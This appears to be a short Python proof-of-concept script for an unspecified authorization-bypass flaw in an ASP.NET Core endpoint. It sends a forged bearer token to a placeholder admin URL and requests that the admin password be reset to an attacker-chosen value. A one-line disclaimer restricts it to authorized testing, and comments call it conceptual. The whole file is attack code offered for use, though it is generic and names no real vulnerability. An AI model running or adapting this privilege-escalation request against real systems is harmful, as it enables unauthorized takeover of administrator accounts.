The following code is for security research and authorized testing only.
python
import requests
# Target vulnerable ASP.NET Core endpoint
# Note: This is a conceptual PoC. Actual exploitation depends on the specific implementation flaw.
target_url = "http://target-vulnerable-app/api/admin/action"
# Malicious payload attempting to elevate privileges by forging a signature or token
# In a real scenario, this might involve a crafted JWT or a tampered ViewState/DataProtection payload
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Content-Type": "application/json",
# Example of a forged or weak authorization header that might bypass verification
"Authorization": "Bearer FORGED_SIGNATURE_TOKEN_HERE"
}
data = {
"command": "reset_password",
"target_user": "admin",
"new_password": "AttackerControlled"
}
try:
response = requests.post(target_url, json=data, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Potential exploit successful! Privilege elevation may have occurred.")
else:
print(f"[-] Exploit failed. Status code: {response.status_code}")
except Exception as e:
print(f"[!] Error during request: {e}")